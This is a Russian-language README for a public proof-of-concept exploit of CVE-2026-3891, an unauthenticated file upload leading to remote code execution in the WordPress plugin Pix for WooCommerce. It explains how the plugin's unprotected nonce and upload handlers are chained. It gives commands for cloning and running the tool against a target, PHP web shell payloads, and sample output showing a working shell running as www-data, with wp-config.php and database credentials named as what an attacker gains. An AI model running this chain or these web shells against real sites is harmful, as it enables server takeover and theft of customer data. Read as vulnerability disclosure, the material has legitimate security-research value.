
PoC для CVE-2026-3891 – Неаутентифицированная загрузка файлов с RCE в Pix for WooCommerce ≤ 1.5.0. Автоматизированное получение nonce, загрузка PHP и выполнение команд.
Эксплойт Proof‑of‑Concept для CVE-2026-3891 – неавторизованная произвольная загрузка файлов, ведущая к удалённому выполнению кода в плагине WordPress Pix for WooCommerce (≤ 1.5.0).
CVE-2026-3891 — критическая уязвимость в плагине Pix for WooCommerce, затрагивающая все версии вплоть до 1.5.0. Плагин не обеспечивает надлежащую проверку авторизации и типа файлов в своём AJAX-обработчике lkn_pix_for_woocommerce_c6_save_settings. Неавторизованный злоумышленник может воспользоваться этой ошибкой для загрузки произвольных PHP-файлов в общедоступную директорию и добиться удалённого выполнения кода на сервере WordPress.
Репозиторий содержит PoC производственного уровня, который автоматизирует всю цепочку атаки — от получения валидного nonce до загрузки веб-шелла — с надёжной обработкой ошибок и красивым CLI-интерфейсом.
certificate_crt_path, ожидаемый уязвимым обработчиком.--check).[ * ], [ + ], [ - ], [ ! ] для мгновенной читаемости.Корневая причина кроется в двух AJAX-действиях, регистрируемых плагином:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Это действие привязано к хуку wp_ajax_nopriv_*, что делает его доступным для неавторизованных посетителей. Оно генерирует nonce для действия lkn_pix_for_woocommerce_c6_settings_nonce и возвращает его в JSON-конверте:
{"success":true,"data":{"nonce":"abc123..."}}
Никакой проверки прав или аутентификации пользователя не выполняется – любой может запросить валидный nonce.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Этот обработчик сохраняет настройки плагина, включая поле загрузки файла с именем certificate_crt_path. Хотя загрузка происходит через хелпер WordPress media_handle_upload, плагин не:
current_user_can)..php-файлы).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
что напрямую доступно через веб.Поскольку nonce защищает только от CSRF и может быть получен кем угодно, злоумышленник может объединить эти два действия для загрузки и выполнения произвольного PHP-кода.
www-data или apache).wp-config.php, учётных данных БД, данных клиентов.requests (установка через pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Для большего контроля используйте параметры командной строки:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Flag | Описание | По умолчанию |
|---|---|---|
target (позиционный) | Базовый URL сайта WordPress. | Обязательно |
-f, --filename | Имя загружаемого PHP-файла. | woocommerce.php |
-p, --payload | PHP-код для загрузки. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Таймаут запроса в секундах. | 15 |
-r, --retries | Максимальное число повторных попыток получения nonce. | 2 |
--no-banner | Скрыть ASCII-баннер. | (выкл.) |
--no-verify | Пропустить проверку доступности после загрузки. | (выкл.) |
--check | Выполнить id на веб-шелле после загрузки. | (выкл.) |
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*. Ни cookie, ни сессия не требуются.